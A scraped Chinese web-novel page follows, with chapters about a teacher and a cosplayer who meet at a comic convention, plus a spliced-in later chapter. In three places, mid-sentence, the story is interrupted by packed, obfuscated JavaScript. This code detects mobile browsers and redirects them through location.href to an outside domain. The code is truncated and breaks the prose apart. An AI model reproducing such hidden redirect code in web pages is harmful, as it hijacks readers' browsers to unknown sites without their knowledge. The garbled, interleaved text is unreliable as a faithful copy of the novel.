“……可是简璃也不讨人厌啊，”陶与晴认真的看着他：“前几天他还安慰我呢，我知道的，他是个很好的人。” “那你还脱粉？” “……可是我不想和离玉做同事啊！天塌了！”陶与晴双手抱头：“我也不想穿着女仆装跳钢管舞……” “……什么装？什么舞？” “你说，他要是知道我现实里是这样的，会不会觉得很失望啊？”醉鬼的话题转的很快，倒在简璃的床上陷入emo：“他肯定希望我是个很厉害的人。” “为什么要对你失望，你是他的粉丝，他的粉丝只要好好生活，他就会很开心的，”简璃拿着热毛巾，又给陶与晴擦了擦手：“而且你是个老师，说不定他喜欢这个职业。” “……万一他和初中那些人一样呢？” “不会的，”简璃给陶与晴脱鞋盖被子：“我保证。” “你的保证不算数……” “算数，”他给陶与晴喂了药，见他乖乖吃了，接着说：“不会再发生任何类似的事情了，睡觉吧……闭眼……” 陶与晴隐约记得自己是被谁哄睡着的，那个人声音温柔，但是又不失严肃，有点游离于简璃和离玉之间。 他做了个梦，梦见离玉摘下面具，日常的样子是简璃，还对自己说不要脱粉。 什么乱七八糟的…… 陶与晴睁开眼，坐起来思索了好一会，才发觉这里不是自己家。 空荡荡的卧室只有一张床，从开了一点的卧室门可以看见外面凌乱的摆设和各种纸箱子。 ……是简璃家？ 他的记忆从昨天吃饭之后就没有了，一回忆就头疼，转头看见自己的外套搭在床头柜上，陶与晴穿好衣服下床，去卫生间简单冲洗了一下脸。 看这样子不难猜出昨天是简璃送他回来的，并且自己还霸占了他的房间。 陶与晴走出来看见简璃盖着一条薄毯子睡在窄小的沙发里，睡姿看起来不太舒服。 心里有些愧疚，陶与晴没吵醒他，默默打开冰箱，拿出一盒速冻饺子。 十几分钟之后，香气腾腾的饺子端上桌，陶与晴才去把简璃喊醒。 “……你起这么早？”简璃坐起来，肩膀和脖子酸痛的很，他扶着自己的脖子说：“头不痛？” “有一点，但是还好，”陶与晴说：“我做了早饭，煮了点饺子，你去洗漱一下，先来吃饭免得胃疼。” “……” 看这样子，估计是完全不记得昨天晚上的事情了，向思远说的还真对。 否则现在已经要一个滑跪为自己昨天的冒犯道歉了吧。 “那个、”陶与晴趴在卫生间外面，问：“昨天我……没把你怎么样吧？” 按照自己喝醉了那个德行，该不会对着简璃这张脸疯狂耍流氓吧。 “怎么没有，”简璃毫不客气：“你差点没把我吃了。” “对不起！”陶与晴郑重的鞠了一躬，说：“我应该控制好酒量的，下次不会再这样了。” “行了，还算挺老实的，”简璃从卫生间出来，“柜子里有一次性的洗漱用品，你用吧，我去吃饭了。” “哦……” 也不知道陶与晴给这碗饺子加了什么料，感觉味道好极了，咸淡都刚刚好。 简璃的胃比较脆弱，所以没放什么辣椒，看着却是色香味俱全。 让简璃不自觉的好奇，这种手上功夫陶与晴是不是都能做得好？要是他去做道具做假发什么的，不知道有没有可能和扶光认识认识呢。 知道离玉，就应该会知道扶光，只是大部分人对幕后的工作是没兴趣的。 陶与晴一次都没提到过扶光，大概也是不感兴趣的那一类吧。 “你今天不是要帮邓留萤和她爸妈说吗，”简璃率先吃完了早饭，坐在餐桌对面问：“你们的活动是哪一天？” “哦对了，”陶与晴吃着东西含糊到：“窝手机没电了……咳咳，充一会，我问问邓留萤。” “慢点吃，又不着急。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14277174|151801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 简璃看了一眼手机日程表，自己的出场日是在明天，道具什么的扶光已经寄给主办方了，明天只要人过去了就行。 邓留萤和陶与晴就是为了看自己才去的，就是不知道扶光到时候会不会…… “谢谢你收留我一晚，”陶与晴收拾碗筷，“改天一定请你吃饭。” 陶与晴迅速把碗筷洗好，顺带帮简璃收拾了一下厨房整理了一下冰箱。 手机充了会电能开机了，陶与晴用莲花头像的小号给邓留萤发消息：【醒了吗？什么时候给你爸妈说】 对面很快就回复：【醒了醒了！陶老师您在哪儿呢？我爸妈都在家，要不您直接过来吧，或者我去接您？】 2024级3班班主任陶与晴：【地址给我吧，我直接过去】 【好哦！谢谢老师辛苦啦老师！】 陶与晴收起手机对简璃说：“我去一趟邓留萤家，顺便做个简单的家访，先走了。” “不送你吗。” “没事，她家不远，这次不麻烦了。” 说完陶与晴走到门口，对简璃挥手再见。 走出来他才点开大号的消息。 【向爱卿】：简璃给我打电话了，说你已经睡了，醒了发个消息嗷 【扶光】：吱。 向思远秒回：睡到现在？ 【扶光】：不是的，我才从简璃家出来，打算去我学生家里面做个家访。 【向爱卿】：敬业啊陶老师，放假还家访。 【扶光】：说来话长，下次再解释……哎对了，我昨天晚上没干什么出格的事情吧？ 【向爱卿】：【图片】 【向爱卿】：如果你说的出格是对着简璃疯狂发癫，在他身上乱动乱蹭的话。 【向爱卿】：那你确实挺出格的。 【扶光】：啊啊啊啊啊照片！删掉！ 【向爱卿】：【我只是一只土拨鼠，我什么都不知道.jpg】 邓留萤就住在学校附近的小区，父母都是高薪工作，怪不得之前第一次见面，陶与晴觉得她身上的裙子大概不便宜。 “你看，陶老师都同意陪我去了，你们就答应嘛，我这次保证好好看路不会再摔跤了！” “好吧，”看在陶与晴的面子上，邓父松了口，说：“那劳烦老师多多费心，我这女儿好动话又多，平常在学校要是不听话的话，就给我们打电话。” 陶与晴点头：“嗯，这个年纪活泼点也是好事，邓同学很会带动气氛，和同学们相处的都不错，就是有时候……上课会走神，做作业也会粗心漏题，这点还是要批评一下。” 邓留萤瞬间变成了不敢说话的小鸡仔。 “害这孩子，她就是这样，做事三心二意的，老师您吃水果，我们多说说他。” 从邓留萤家里出来，陶与晴回家收拾了第二天要带的东西，酒精和创可贴，除此之外还有湿巾胶水，小夹子小皮筋什么的，大家经常在漫展弄丢的东西。 第二天一早接到邓留萤，她换了另一条粉色的lo裙和假发，看着从车上下来的陶与晴惊讶道： “陶老师！您装都不装一下不怕被其他学生认出来吗？” 22. 第 22 章 反观陶与晴，就是一身日常的衣服带了个口罩，只要稍微熟悉他一些的人，马上就能认出来了。 “我有伪装的必要吗，而且我又不出cos，”陶与晴说：“反正看见了，我就说是你爸妈让我陪同。” “好计策啊陶老师，”邓留萤查看手机，说：“那我们打车过去，我约了其他的小伙伴一起，要是有您喜欢的角色我可以帮您集邮哦！” “不用了，你好好玩就行，”陶与晴笑了笑，说：“注意安全不要乱跑，我自己瞎逛，到时候离玉出场的时候汇合。” 邓留萤晃了晃毛茸茸的兔子耳朵：“好的！谢谢老师，保证不乱跑。” 哎，也是体验到养女儿的感觉了，啧啧。 陶与晴拍了拍邓留萤的头。 嗯可爱捏。 ……不过这化妆品质量好不好？看着还行，应该不会对皮肤有伤害吧…… 为了表示感谢，邓留萤请陶与晴喝了杯奶茶才上车，到了展览中心检票入场，陶与晴挥手就把迫不及待冲出去的邓留萤打发了。 “记得注意安全，我包里有矿泉水创可贴和湿纸巾，渴了给我发消息不要瞎花钱。” “好的妈……不是不是，好的陶老师。” 这孩子。 陶与晴在场内瞎晃悠，顺手挽救因为各种小意外而发愁的coser，像个行走的奶妈。 离玉是下午才出场……大概还有四个小时。 正在发愁要怎么把这四个小时打发过去的时候，陶与晴却意外收到了主办方的消息 【扶光老师，您好您好，非常冒犯真是不好意思，是这样的，您前几天寄给我们给离玉用的那个道具出了一点小问题，因为同城快递运输的责任，道具外表出现了明显的裂纹……】 陶与晴呼吸一滞看了一眼时间已经快中午了，离玉恐怕都已经来到了现场，是绝不可能临时换道具或者重新制作的。 【因为我们的工作人员是今天才打开的箱子，所以发现的有点晚，我们知道您也在祁城，想请您今天有没有时间来看看能不能修补一下……实在是非常的抱歉。】 【……发我照片，让我先看看什么程度，不严重的话我教你们怎么改。】 【好的，扶光老师稍等，您放心，您如果来我们漫展后台，除了主办方的几个人，不会告诉任何人您的身份，我们知道您注重隐私，我们会全程保密，您的一张照片都不会泄露出去的，甚至可以签署保密协议。】 【图片】 这图确实能看见明显的裂纹，如果这个道具师没有一点技巧，一定会修补不到位的。 ……从私心的角度，陶与晴也希望离玉的每次出席都是完美的。 其实早在几年前陶与晴也觉得自己不能一直活在过去的阴影里，人总要向前看，可每次面对离玉提出见面，自己总会退缩。 离玉同样也是陶与晴生命中非常重要的人，不光是对方长得好看，对方身上那股子韧劲和坚持同样感染着陶与晴。 这是一个机会，一个顺理成章见到离玉的机会。 陶与晴站在角落里纠结了很久，最终还是回复： 【我还是不希望被其他人看见，但我也希望离玉的道具尽善尽美，我一会过来，到时候我希望只有几个工作人员，道具修好了以后我就离开，不要告诉任何人我来过，尤其是离玉】 【好的老师，我们非常理解，非常感谢您，我们的工作人员回去门口接您】 扶光在圈内的特殊地位有目共睹，他的看重隐私也是人尽皆知的，这件事的确是运输和主办方的问题，自然是陶与晴说什么是什么。 倒不如说他愿意亲自过去一趟，已经是非常大的让步了。 虽然说能见到传说中的魔法师大人，还是让人有些小激动。 过了一会，陶与晴从后门出去，然后再绕道前门，外套反穿，并且带上了外套自带的帽子，简单的变装完成了。 偷感还蛮重的…… 走到检查口，陶与晴亮了一下手机聊天记录。 “您是……好的，这边这边，我带您去后台。” 也是第一次见到扶光本人，虽然说裹的很严实完全看不见脸，但是还是工作人员还是忍不住多看了两眼。 本来以为一定会被扶光拒绝的，没想到这位人物居然能答应，而且还来的这么快。 那当然是因为陶与晴就在现场，拐个弯就到了。 因为要修道具，陶与晴没把眼睛遮上，工作人员有些激动，甚至想和那双看着就温柔的眼睛合个影。 一定要忍住啊啊啊啊。 工作人员心里咆哮。 终于懂什么叫看狗都深情了，要心肺骤停了。 其实紧张的不只有他，陶与晴同样。 这点离玉肯定已经来漫展了，千万不要被他本人撞见啊。 还没、还没准备好。 就应该听邓留萤的，打扮打扮的，现在好了后悔也晚了吧？要是让离玉看见他平常的样子，还不如给他一刀。 “老师，这边房间，只有几个工作人员在里面，您放心绝对不会有人知道是您。” “谢谢。” 工作人员捏紧了自己的工牌。 声音也好好听，这辈子值了。 道具是依照陶与晴的性子临时转移到一个没人的空房间的，还好一些基础的材料漫展主办方就有，不然让陶与晴凭空变都没办法救了。 “好了，这样子一个差不多了，拿去吧。” “谢谢老师谢谢老师，不收您门票如果您想逛逛展子的话，您可以随意进出，这个费用我们结束以后一并给您。” “嗯，那我先走了。” “老师再见，慢走慢走。” 陶与晴离开以后几个人还在压低声音说： “我第一次这么近的看见扶光修道具，眼睛都不敢眨一下。” “我也是我也是，而且他好高好瘦啊，还有那双手，视频里真的一点美颜滤镜都没有，怪不得没有色差。” “修的好好啊跟新的一样，这材料确定只是用的我们给的？” “魔法师！这是真正的魔法师！” “嘘嘘嘘，小声点……” 陶与晴走远以后长叹了口气，感觉自己花这么多钱买张门票买亏了。 去厕所把外套重新穿好，走着走着，忽然看见展览中心围观了一圈人，陶与晴默默移过去一看。 中间那人一身白衣，青丝如墨，眼睛上系着一根道具丝带。 离玉……？！ 他怎么在这儿！ 陶与晴下意识心虚的想跑，扭头走了两步反应过来。 不对啊，他又没见过自己长什么样，心虚个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14277175|151801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么劲儿…… 陶与晴大胆转身，取下帽子，混进人群里。 简璃正在挨个和粉丝打招呼，透过道具目光敏锐的察觉到了人群当中熟悉的人。 陶与晴。 不是说陪邓留萤来吗，怎么一个人在这儿。 “离玉老师我好喜欢你啊啊可以和你集邮吗？” “当然可以，”简璃挂着职业微笑，微微弯腰和粉丝合影，还不忘说：“谢谢你的喜欢，漫展人多要注意安全哦。” “好的好的呜呜呜你人好好。” 不愧是离玉！ 陶与晴心说，他还是那么温柔还是那么关心粉丝，他真的我哭死。 简璃被白纱布遮挡的视线并没有离开陶与晴，本来想直接去后台等着的，现在在原地多站了一会。 就是为了等陶与晴上来和自己集邮。 “离玉老师我能和您集邮吗谢谢老师！” ……等…… “离玉老师这是我的无料请您收下，还有还有……” 等—— “离玉老师一会签售我还要和你握手！” ……不是他人呢？ 倒是上来集邮啊，不是吵着想见“离玉”吗？ 这时候倒是不饿了啊陶与晴真有你的。 陶与晴站在远处，跟几个摄影师一起，用手机记录下好几张不同角度的场照。 见到了啊，那咋了。 陶与晴心满意足，甚至已经准备转头离开。 简璃笑容裂开了一丝，但是他很快调整好营业声线和表情，对着陶与晴说：“那边那位小哥哥，你要上来和我集邮吗？我看你等了半天。” 周围粉丝都觉得离玉简直太好了居然还关注每一个粉丝有没有被照顾到，主动发问！ “……”陶与晴忽然意识到离玉在叫自己，一时间有些不知所措，心中既羞涩又心虚。 “不不、不用了离玉老师，”陶与晴上前耳根子红透了，拉紧口罩说：“我、我、看一眼就好了。” 简璃恨铁不成钢。 小怂包。 我都叫住你了，怕什么，想来就来啊，上来集邮啊，你集啊。 急啊急啊。 “没关系的，”简璃微笑，走了两步过去伸手想拉住他：“我看你挺喜欢我的样子，我们合个影吧？” 周围甚至有人发出了羡慕的声音：“哦——” “……” 陶与晴已然被这直球砸懵了，绯红逐渐从耳尖渗透进了整张脸。 他的脑袋后面疯狂在炸蘑菇云。 活的离玉，还是这么近的距离。 第一次……！ “不不不不不不用了离玉老师！”陶与晴已经要哭出来了，这个状态无论如何都不能和离玉合照。 而且刚才修了道具手上还有胶水和化学物品残留，怎么能用这只手去碰离玉的手。 他连连后退，胡乱鞠了一躬，转身跑了。 …… 小怂包！ 简璃伸出一只手在风中凌乱，周围看热闹的人都笑了，简直太有节目效果，谁能想到离玉都有被拒绝集邮的一天？ 最后简璃不得已的收回手，看了看周围录视频的人，整理心情莞尔一笑。 “请不要把拍到刚才那个男生的影像发出去，大家配合一下，谢谢。” 23. 第 23 章 周围的人纷纷被离玉美颜暴击，连连点头表示一定不会的。 既然陶与晴已经跑了，简璃挥一挥衣袖，大步朝后台那边走过去。 按照安排，简璃等一下还要上台和粉丝互动一会，所以要早点过去准备准备，对对流程。 陶与晴跑远了，蹲在一个角落的地上，取下口罩大口呼吸。 太吓人了，长得好看太过分了。 差点被小鹿撞死了啊。 陶与晴缓了一会，后知后觉感到刚才当着这么多人的面拒绝离玉有点不礼貌，虽然自己确实是很不好意思和他合影，但是也不应该…… 哪怕知道绝大部分人会把这个当作一个趣事。 但陶与晴也因为拒绝了离玉而感到很愧疚。 奇怪的是，离玉的确对谁都很好，但是从没见过他突然叫住谁求合照的。 为什么人群当中离玉会看见自己……难不成他发现了什么？ 陶与晴不敢往深了想，保险起见在离玉出场之前自己还是不要瞎晃悠了。 他找了个角落蹲下来，打开手机看见一个小时之前离玉给自己发了消息，但是自己没看见。 是一张自拍，还没有挡眼睛的。 【离玉（碎了）】：马上去现场啦，今天约到了熟悉的妆娘，化妆很快，就是有点早，不知道要等多久…… 陶与晴马上回复他。 【扶光】：这么早就过去啦，好敬业呀，今天的造型超好看！超仙的！ 离玉那边恐怕是已经到后台坐着了，秒回：刚才遇到个男粉，明明很喜欢我，但是不愿意和我合照，想不通到底为什么…… 陶与晴心里咯噔了一下，当然知道离玉是在说自己。 果然还是给他造成困扰了吗？不过听这话，好像离玉并不知道那个男生是自己…… 【扶光】：我觉得他可能就是很害羞吧，今天可能没怎么打扮，不好意思和你合影。 简璃有点想说，陶与晴什么样子自己都见过了，打不打扮在他这里没什么区别。 但是对方是扶光，想来也听不懂自己在说什么。 【离玉（碎了）】：希望他下次勇敢点吧，我又不吃人。 【扶光】：哈哈哈哈…… 不不不不。 陶与晴心里的小人疯狂的摇头。 勇敢不了一点啊离玉老师…… “陶老师您在这儿啊？”邓留萤和朋友逛到了陶与晴这个场馆，看见他蹲在角落一个人，招呼亲友先走留了下来：“刚才据说离玉在A馆哎，您看见没？” “……看见了，”陶与晴说：“不过人特别多，我没挤进去。” “这样啊好可惜哦，可惜我刚才在B馆……不过还有两个多小时就能见到了，也没事。” 邓留萤把买到了谷子拿出来给陶与晴看，满满一背包，有好几个不同的角色。 “你还看这个？”陶与晴惊喜的拿起一个吧唧：“这是个老番了。” “这可是我的赛博白月光！我家里还有其他的谷子呢，我超喜欢的。” 陶与晴点点头：“我也是，离玉要是能出里面的角色就好了。” “对啊好可惜没看见离玉老师出过，”邓留萤把吧唧推给陶与晴：“老师喜欢的话那就送给你啦，谢谢你陪我来漫展。” “我是成年人还是你老师，我怎么能拿你东西呢？快收好，别装掉了。” “什么啊，”邓留萤塞给他，接着说：“漫展里一起的就是亲友，亲友之间互相送东西很正常的嘛，陶老师还经常把鸡腿让给我们吃呢，一个吧唧才这么点钱，没事的。” 再三推辞不下，陶与晴只好收下了这个小礼物，邓留萤也是走累了，打算坐着休息一下。 陶与晴从包里拿出矿泉水递给她，说：“一会离玉签售我就不去合影了，你去吧。” “啊？为什么，上次您不是没见到他很可惜吗，我上次已经要到签名和合影了来着。” “我在台下看看他就好了啊，没事，听说这次签售的海报和赠品质量都很好。” “那可是离玉哎！当然好了……好吧，老师不去合影就算了吧。” 休息了半个小时左右，邓留萤拍拍裙子站起来，说：“那我先……” 忽然之间，她猛地蹲下身子。 陶与晴疑惑道：“怎么了？” “我看见了……” “？” 邓留萤大惊失色：“我看见赵遇京了！” “？？？” 陶与晴也瞬间警觉，拉上口罩朝着那个方向看了一眼。 远远的还真有一个熟悉的人影，并且他旁边跟着的貌似是他家长。 这也太尴尬了吧？而且依照赵遇京那小子的性格，一定是会上来自信打招呼的。 “完了完了他朝这边过来了，”邓留萤抓住自己显眼的兔子耳朵：“他这个大嘴巴要是看见我俩一定会去班里说的！我们快走吧陶老师。” 陶与晴赶紧点头：“有道理，先撤。” 漫展的场馆这么大，找个列表面基都死活找不到的地方，却能轻而易举的遇见不想遇见的人。 还是两次！ 陶与晴和邓留萤偷感十足的角落溜走，从A馆溜到了B馆的舞台前面。 “只要我们坐在人群里，就一定不会被看见，”邓留萤觉得自己是个天才：“反正等一会离玉也要上台了，我们就坐在这里吧！” “好主意，”陶与晴松了口气：“而且那小子不粉这种博主，应该不会靠近舞台这边。” 嘉宾休息室，简璃刚拿到自己的道具。 “……道具坏过？”他摸着剑身的一处，虽然几乎完全看不出来有过损坏，但是摸着的手感是不一样的。 “啊，”工作人员只好老实回答：“已经找人修好了……” 因为陶与晴的嘱咐，她没敢说是扶光亲自来的。 原来连离玉本人都没见过扶光……吗？ “什么时候坏的？” “今天……” 简璃摩挲着剑身：“谁修的？” “就是就是……”工作人员互相看了看彼此，说：“现场的好心手作老师……” 简璃从椅子上站起来：“……短时间修到这个程度的人，是你们现场随便找的吗？” “啊呃……离玉老师……” 工作人员根本没想到离玉对扶光的手艺如此了解，了解到单凭手感就能摸出质的区别。 “他来过？什么时候？在哪？你们看见了？” 工作人员欲哭无泪，掏出手机一边说一边偷偷发消息：“我们不知道啊我们真的不知道啊离玉老师，扶光老师装备齐全我们连脸都没看见的QAQ。” 简璃仔细的检查了一下道具，上面的胶水还没干，按照正常来说也不可能一下洗干净。 谁手上有同款胶水，谁就很可能是扶光。 简璃抽身离开：“我出去看看。” 陶与晴坐在看台，手机弹了条消息出来，他打开一看，满条惊喜。 【扶光老师您还在场馆内吗？】 【快跑啊——离玉老师来找您了——】 【不是故意暴露的但是离玉老师实在是太明察秋毫了，一瞬间就察觉到道具是您补的了！】 工作人员不确定离玉有没有见过扶光，所以保险起见还是发消息提醒一下的好。 陶与晴瞬间瞪大了眼睛。 若是换做正 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14277176|151801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 常情况，他仗着离玉没见过他，只要躲在某处绝对不可能被找到。 但是他很默契的意识到，自己刚才修道具的时候，胶水还粘在手上。 还好刚才没有和离玉拉手。 旁边突然传来了惊呼声，不用看都知道是谁来了，邓留萤也顾不得这么多站起来朝那边看去。 简璃放眼扫视了一下场馆里，看见了陶与晴和邓留萤倒是不奇怪。 如果扶光还在……一定会在台前等自己。 “不好意思，”简璃朝着舞台周围的人说：“这是一个临时任务，我可以……和你们挨个握手吗？” “啊啊啊可以啊。” “当然可以了！” 陶与晴如遭惊雷。 你搁这找灰姑娘呢？真是天才啊！ “哇！握手哎，陶老师我们快……嗯？陶老师？” 邓留萤一回头，旁边原本坐着的人不见了，不知道什么时候居然跑掉了。 邓留萤摸不着头脑：“奇怪，老师去哪了？” 简璃找了一圈，没找到任何一个附和要求的。 他有些奇怪，难道扶光真的连看自己一眼也不愿意？ 简璃目光一扫，看见邓留萤旁边的陶与晴不见了。 那个家伙，估计又是因为害羞而跑了吧，哎。 简璃掏出手机，给扶光发消息。 【离玉（碎了）】：你还在漫展吗？ 【离玉（碎了）】：实在不愿意见面的话……就算了。 另一边，陶与晴逃到了之前修道具的小房间。 并且和里面吃着外卖的几个工作人员面面相觑。 工作人员嘴里的鸡腿差点就吓掉了，好不容易抽空吃口饭，差点没呛死自己：“扶光……扶光老师？你怎么回来了？” “……”陶与晴低声解释：“就这个房间最近，离玉在外面，跑出去太明显了。” “啊，抱歉我们也没有想到离玉老师这么……”工作人员擦擦嘴，拉上另外几个说：“没事儿，您在这儿躲着吧，我们去别的房间。” “谢谢，我一会再出去吧。” 几个工作人员走了以后，陶与晴才想起来给邓留萤发个消息，告诉她自己闹肚子去上厕所去了，不用担心。 以及…… 【扶光】：我修完道具就走掉了……抱歉啊，今天下午实在有些事情。 【离玉（碎了）】：好吧好吧。 刚接收到这条消息，陶与晴本以为安全了，想找个时机溜回去，忽然听见背后门外一声响，是谁在拧动门把手。 这个后台房间除了保安刚才面熟的陶与晴和工作人员以外……还有谁会进来呢？ 几乎是一瞬间，陶与晴也紧紧的抵住了门，并且反锁。 不会这么背吧？离玉的休息室不应该在别的地方吗？ “您好，”门外果然是那个声音，就是离玉：“我的白丝带落在里面了，快上台了，能进来拿一下吗？” 丝带，啊是离玉遮眼睛那个丝带对吧？应该是刚才来拿道具的时候落下的。 陶与晴看了一眼，房间不大但是完全没看见白丝带，并不能马上拿给他。 怎么办怎么办怎么办，要被瓮中捉鳖了—— 陶与晴只好掐着嗓子，朝着门外道：“我帮您找吧……” “……您嗓子不舒服吗？” “咳咳咳感冒了，不好意思啊……”陶与晴捏着嗓子继续说：“我马上帮您找一下……” 简璃歪了歪头，打不开门，便重新敲了敲门。 “……阿光？” 陶与晴感觉自己心里一根弦，瞬间断裂了。 这是怎么判断出来的？你教语文的吗！ 50-60 第51章 简璃拉着陶与晴的手站起来，也尴尬的眼神乱飘。 “没事，草地很软……没摔到吧？” “嗯……” 陶与晴抿了抿嘴，抬眼，看向简璃后面的操场和教学楼，说：“这就是你之前工作的高中，装修的还挺好。” “是，”简璃转身，他已经许久没回来了，的确有点恍惚感，“但徒有其表。” 陶与晴一是沉默，过了一会说：“我们到处走走吧。” “好。” 陶与晴不知不觉走在简璃前面，简璃在后面跟着他，不紧不慢。 这里的格局和装修风格和祁城都不太一样，祁城的学校更老派一些，不怎么装修，而这里似乎每年都会翻新一下，看起来更气派。 陶与晴走过操场，回头发现简璃站在一处没再跟着。 于是他退回去，跟着简璃的视线朝上看，说：“怎么了？” 简璃望着一栋教学楼的楼顶，说：“那天下了点雨。” 陶与晴知道他在说什么，心照不宣。 “雨水混着汗水太滑了，”今天是明媚的好天气，阳光有点晃眼，但是简璃还是目不转睛盯着那处，“……也可能是她根本没想活下来。” 简璃感觉到自己的眼镜被摘下来，然后一只手捂住了自己的眼睛。 陶与晴的声音混着蝉鸣进入耳朵。 “你听，听见了什么。” 简璃默不作声，仔细感受，他不知道自己该听见什么，他什么都听见了。 如果要概括……应该是夏天的声音。 “……什么？” “是她在说，谢谢你，看见你现在很好，她很高兴。” 简璃笑了：“你怎么知道？” “我就是知道。”陶与晴松开手把眼镜还给他。 两个人坐在教学楼下面的台阶上，这里遮挡了太阳，不晒人。 “原本那底下有好几簇花，现在也没了。” “那边是食堂，再过去是宿舍，还有篮球场。” 简璃絮絮叨叨了说了些乱七八糟的，他这个样子难得一见，陶与晴安静的听。 他眼里却满是简璃碎碎念的样子，看他说他的过去。 “高三有个小子，某天来办公室对着我拜了一下，我问他干什么，他说他在做题和作弊中间选择了做法。” “哈哈哈哈……你就没打他？” “我罚他练习册往后再做十页，”简璃说：“我不太记得他的名字，但是这件事我记忆犹新。” 学校和规矩都是死物，但是人是活的。 陶与晴觉得，也许几十年之后他也记不清这些人的名字了，但是和每一届学生不同的经历，会一直扎根在记忆里。 他们也算是路过了许多人的一生。 从学校出来，再翻墙陶与晴就有点熟练了，只是下来的的时候被简璃扶了一下，就站稳了。 “说实话，”陶与晴问：“听我爸说你是年级第一，为什么你翻墙翻的那么熟练啊？” “大概是天赋吧，”简璃说：“头一次干这种事。” “真的假的？” 也太熟练了一点吧，陶与晴都幻视一些皮的没影的学生了。 “难不成陶老师觉得我很适合做坏学生吗？”简璃看他，说：“我上学可是很老实的。” “谁知道呢，”陶与晴笑了他一下：“看你这个熟练度，不像演的。” 两个人走到学校旁边的小街，那条街关了几家店，毕竟是学院路，可能因为暑假所以不开了，但是也还有不少店家还开着门。 “欢迎光临看看吃点……简老师啊？”老板一眼就把印象深刻的帅哥给认出来了，说：“你回京都了？好久不见啊好久不见。” “暑假，带着……同事来玩玩。” 简璃侧侧身子，老板才看见他背后也是个小帅哥。 陶与晴和老板笑着打了个招呼。 “快坐快坐，”老板赶紧给他们倒上水，说：“同事、这位帅哥也是老师啊？我天你俩这学校也太有福了，哈哈哈。” 老板热情的开开玩笑，简璃点了几道招牌，就去后厨忙活了。 简璃和陶与晴解释：“他是老板，这家店开了挺久的了，工作了也来吃过几回，味道还不错。” 这家小店的装潢不太考究，确实很像是学生时代里，普通却味道不错的小店。 “喵～” 陶与晴被一只毛茸茸的东西蹭了一下裤脚，吓了一跳，低头一看才发现是老板养的一只大橘猫。 “你也太胖了吧，”陶与晴伸手把那只大胖猫抱在腿上，说：“这平时是吃了多少呀。” 简璃盯着他腿上享受摸毛服务的猫，沉默震耳欲聋。 这只大胖猫以前不是见人就躲的吗。 它怎么不躲了。 大橘猫在陶与晴腿上打呼呼，然后把手一揣，舒舒服服的被挠下巴。 老板先端了一盘小菜出来，看见这一幕笑着说：“这猫挺怕人的，倒是不怕你啊小伙子看来你挺吸猫的。” “这样吗？”陶与晴笑道：“可能我身上有它喜欢的味道？” “你是兔子它是猫，你俩不是一个品种，”简璃伸手拎起橘猫的后颈，把它提溜下来，说：“别这么自来熟。” 陶与晴无语的摇头。 他什么时候成兔子了。 然后那只猫对着简璃叫了两声，似乎很不满。 “要吃饭了，你可以选择去外面晒太阳，”简璃对着那只猫说：“去。” 陶与晴再次觉得他幼稚，笑着说：“你说话它能听懂吗？” “它出去了，证明它听懂了，”简璃重新坐回来，说：“它到挺会看人下菜碟。” 陶与晴看见那只猫走到门外甩甩尾巴，然后倒地翻了个身。 这个不爽的样子和简璃好像啊。 想到这个陶与晴莫名想笑，憋了一会才忍住。 这顿饭吃的有点晚，之后两个人又去大学城逛了逛，那边还挺热闹，还遇到了两个粉丝。 “可惜我没有准备无料，过两天的漫展两位会去吗？”那姑娘又有点不确定，问：“扶光老师……这位是离玉老师吧？” 这么帅，肯定是离玉吧？ 但是对方没化妆没穿c服，还戴着眼镜，有点不好认。 “是，”简璃笑了笑就开始营业，说：“你们买票了吗？” “啊，买了买了！” 简璃说：“好，那我们到时候见，路上注意安全。” “好的好的，老师们9……” 她没说完就被同伴拉走了。 “别舞别舞，到时候避嫌了怎么办，嘘。” “噢对对对，你说的对。” 陶与晴站在原地。 她刚才绝对是想说99的吧？ 陶与晴去看简璃的表情，想试图从他的营业微笑中看出来点什么别的。 简璃却低头看了一眼手机，转移了话题。 “……余兮看见我ip变了，刚找我，约我明天见面，大概要一个上午的时间，你想和我一起去见见他吗？” “余兮……？啊那件事，他居然主动找？”陶与晴自然点点头：“当然，我也一起去吧。” 不清楚对方什么目的，还是陪着去比较好。 虽然陶与晴挺信任简璃一个人也能搞定的。 信任是一码事，但是自己还是会担心的。 “我来之前回顾了一下之前和他一起搭档的视频，”简璃说：“印象里他是个还不错的人，视频里也没有任何小动作。” 言下之意，余兮不像是公开转发那种微博的人。 陶与晴也很好奇为什么他会突然转发那条微博。 两个人回到民宿差不多晚上八九点，陶与晴才逐渐意识到虽然不是一张床，但是是同一个房间，并且离得很近。 急急急。 和暗恋的人要睡一个房间到底该怎么办。 陶与晴洗好澡坐在床上，头发没干，头上搭着毛巾。 